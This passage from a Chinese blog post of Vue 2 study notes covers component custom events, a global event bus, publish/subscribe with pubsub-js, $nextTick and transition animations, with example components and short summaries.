                address: '圣城中州'
            }
        },
        methods: {
            sendSchoolName(){
                //触发 School 组件的自定义 mydiy 事件
                this.$emit('mydiy', this.name);
            }
        }
    }
</script>

<style scoped>
    .school {
        background: skyblue;
        padding: 5px;
        margin-top: 15px;
    }
</style>

image-20220717151957476

4.11.2 解绑事件
<script>
    export default {
        name: 'MySchool',
        data() {
            return {
                name: '战王学院',
                address: '圣城中州'
            }
        },
        methods: {
            sendSchoolName(){
                this.$emit('mydiy', this.name);
            },
            unbind(){
                //解绑一个自定义事件
                this.$off('mydiy');
                
                //解绑多个自定义事件
                //this.$off(['xxx', 'yyy', 'zzz']);
                
                //解绑所有自定义事件
                //this.$off();
            }
        }
    }
</script>

组件自定义事件总结:

  1. 它是一种组件之间通信的方式,适用于 子组件 ——> 父组件

  2. 使用场景:A 是父组件,B 是子组件,B 向传递数据给 A,那么就要在 A 中给 B 绑定自定义事件(事件的回调在 A 中)

  3. 绑定自定义事件

  • 方式一:在父组件中,<Demo @mydiy="test">

  • 方式二:在父组件中

<Demo ref="demo"/>
    ......
mounted(){
    this.$refs.xxx.$on('mydiy', this.test);
}
  1. 触发自定义事件:this.$emit('mydiy', 数据)

  2. 解绑自定义事件:this.$off('mydiy')

  3. 组件上也可以绑定原生的 DOM 事件,需要使用 native 修饰符,如 <Demo/ @click.native="test">

  4. 通过 this.$refs.xxx.$on('mydiy', 回调) 绑定自定义事件时,回调要么配置在 methods 中,要么使用箭头函数,否则 this 指向会出问题

4.12 全局事件总线

思考:想要实现全局事件总线,需要有以下思路

我们需要一个额外的 X,任意两个组件之间想要进行通信,就可以使用 X 为中转站,而 X 必须具有以下属性:

  • 组件 X 可以让所有的组件都能看到、使用到

  • X 可以使用 $on()$off()$emit() 方法

image-20220717220623951

接下来就实现两个兄弟组件之间传递数据的功能:

  1. App 组件
<template>
    <div id="app">
        <h3>{{msg}}</h3>
        <MySchool></MySchool>
        <MyStudent></MyStudent>
    </div>
</template>

<script>
    import MySchool from "@/components/MySchool";
    import MyStudent from "@/components/MyStudent";

    export default {
        name: 'App',
        components: {
            MyStudent,
            MySchool
        },
        data() {
            return {
                msg: '你好!'
            }
        }
    }
</script>
  1. Student 组件
<template>
    <div class="student">
        <h4>学生姓名:{{name}}</h4>
        <h4>学生年龄:{{age}}</h4>
        <button @click="sendStudentName">将学生名发送给兄弟组件School</button>
    </div>
</template>

<script>
    export default {
        name: "MyStudent",
        data() {
            return {
                name: '林枫',
                age: 19
            }
        },
        methods: {
            sendStudentName(){
                //提供数据
                this.$bus.$emit('hello', this.name)
            }
        }
    }
</script>
  1. School 组件
<template>
    <div class="school">
        <h5>学院名称:{{name}}</h5>
        <h5>学院地址:{{address}}</h5>
    </div>
</template>

<script>
    export default {
        name: 'MySchool',
        data() {
            return {
                name: '战王学院',
                address: '圣城中州'
            }
        },
        mounted() {
            this.$bus.$on('hello', (data) => {
                console.log('我是 School,我拿到了兄弟 Student 的数据 => ' + data);
            })
        },
        //该组件销毁之前,需要将事件从 $bus 上解绑,不然会一直占用全局事件总线
        beforeDestroy() {
            //这里千万不能不传数据,这样会让所有的事件解绑
            this.$bus.$off('hello');
        }
    }
</script>
  1. main.js
import Vue from 'vue'
import App from './App.vue'

Vue.config.productionTip = false

new Vue({
  render: h => h(App),
  beforeCreate() {
    //安装全局事件总线
    Vue.prototype.$bus = this
  }
}).$mount('#app');

image-20220717225308272

总结:

  1. 全局事件总线,是一种组件之间的通信方式,它适用于任意组件之间的通信

  2. 安装全局时间总线

new Vue({
    ......
    beforeCreate(){
    	VUe.proptype.$bus = this
	}
    ......
})
  1. 使用全局事件总线
  • 接收数据:A 组件想接收数据,则在 A 组件中给 $bus 绑定自定义事件,事件的回调函数留在 A 组件自身
methods: {
    demo(data){......}
}
......
mounted(){
	this.$bus.$on('xxx', this.demo)
}
  • 提供数据:this.$bus.$emit('xxx', 数据)
  1. 最好在 beforeDestroy 钩子中,使用 $off()当前组件所用到的事件进行解绑

4.13 消息订阅与发布

消息订阅与发布原理,类似于我们去邮局买报纸,我们是需求者(需要订阅消息),邮局是提供者(需要发布消息)

该技术的落地技术有很多,这里选择 pubsub-js。使用命令安装 npm i pubsub-js

  1. App 组件
<template>
    <div id="app">
        <h3>{{msg}}</h3>
        <MySchool></MySchool>
        <MyStudent></MyStudent>
    </div>
</template>

<script>
    import MySchool from "@/components/MySchool";
    import MyStudent from "@/components/MyStudent";

    export default {
        name: 'App',
        data(){
          return {
              msg: '你好!'
          }
        },
        components: {MyStudent, MySchool}
    }
</script>

<style scoped>
    #app {
        background: gray;
        padding: 5px;
    }
</style>
  1. School 组件
<template>
    <div class="school">
        <h5>学院名称:{{name}}</h5>
        <h5>学院地址:{{address}}</h5>
    </div>
</template>

<script>
    //引入消息订阅与发布的库
    import pubsub from 'pubsub-js'
    export default {
        name: 'MySchool',
        data() {
            return {
                name: '战王学院',
                address: '圣城中州'
            }
        },
        mounted() {
            //订阅消息
            this.pubId = pubsub.subscribe('hello', function (msgName, data) {
                console.log('有人发布了 hello 消息,hello 消息的回调执行了,收到的数据是 => ' + data)
            })
        },
        beforeDestroy() {
            //vc 销毁之前,取消订阅
            pubsub.unsubscribe(this.pubId)
        }
    }
</script>

<style scoped>
    .school {
        background: skyblue;
        padding: 5px;
        margin-top: 15px;
    }
</style>
  1. Student 组件
<template>
    <div class="student">
        <h4>学生姓名:{{name}}</h4>
        <h4>学生年龄:{{age}}</h4>
        <button @click="sendStudentName">传递学生名给School</button>
    </div>
</template>

<script>
    import pubsub from 'pubsub-js'
    export default {
        name: "MyStudent",
        data() {
            return {
                name: '林枫',
                age: 19
            }
        },
        methods: {
            sendStudentName(){
                //发布消息
                pubsub.publish('hello', this.name)
            }
        }
    }
</script>

<style scoped>
    .student{
        background: blue;
        padding: 5px;
    }
</style>

image-20220718095317622

总结:

  1. 消息订阅与发布,是一种组件之间的通信技术,适用于任意组件之间的通信

  2. 使用步骤

  • 安装:npm i ppubsub-js

  • 引入:import pubsub from 'pubsub-js'

  • 接收数据

methods: {
    demo(msgName, data){
        ......
    }
    ......
    mounted(){
        //订阅消息
        this.pubId = pubsub.subscribe('xxx', this.demo)
    },
    beforeDestroy() {
		//vc 销毁之前,取消订阅
		pubsub.unsubscribe(this.pubId)
    }
}
  • 提供数据:pubsub.publish('xxx', 数据)

4.14 $nextTick

语法:this.$nextTick(回调函数)

作用:在下一次 DOM 更新结束之后,才执行指定的回调

什么时候用:当改变数据之后,要基于更新后的新 DOM 进行某些操作是,要在 nextTicck 所指定的回调函数中执行

demo(xxx){
    if(....){xxxx}
    else{xxxxx}
    this.$nextTick(function(){
        //当 input 框渲染到界面上之后,再去获取真实 DOM 的焦点
        this.$refs.inputTitle.focus()
    })
}

4.15 过渡与动画

实现需求:页面上只有一个按钮和一段文字,使用按钮来控制文字的显示与否,并且文字出现和消失需要添加过渡动画

image-20220718151612267

使用动画实现

<template>
    <div>
        <button @click="isShow = !isShow">显示/隐藏</button>
        <!--使用该标签包裹后,Vue 会在合适的时候播放自定义的动画-->
        <!--transition标签使用 name="xxx" 属性之后,定义的动画就需要使用 xxx-enter-active 等形式-->
        <!--appear表示刚刷新页面就会显示进场动画-->
        <transition name="hello" appear>
            <h3 class="demo" v-show="isShow">Hello Vue!</h3>
        </transition>
    </div>
</template>

<script>
    export default {
        name: "MyTest",
        data(){
            return{
                isShow: true
            }
        }
    }
</script>

<style scoped>
    .demo{
        color: white;
        text-align: center;
        width: 110px;
        height: 30px;
        background: gray;
    }

    /* 因为使用了 name 属性,所以这里要用 hello-enter-active,若不使用 name 属性,则默认为 v-enter-active */
    .hello-enter-active {
        animation: my-move 0.5s linear;
    }

    .hello-leave-active {
        animation: my-move 0.5s reverse linear;
    }

    @keyframes my-move{
        from{
            transform: translateX(-100%);
        }
        to {
            transform: translateX(5px);
        }
    }
</style>

未完~~~

posted @ 2022-07-18 17:48  悟道九霄  阅读(231)  评论(0编辑  收藏  举报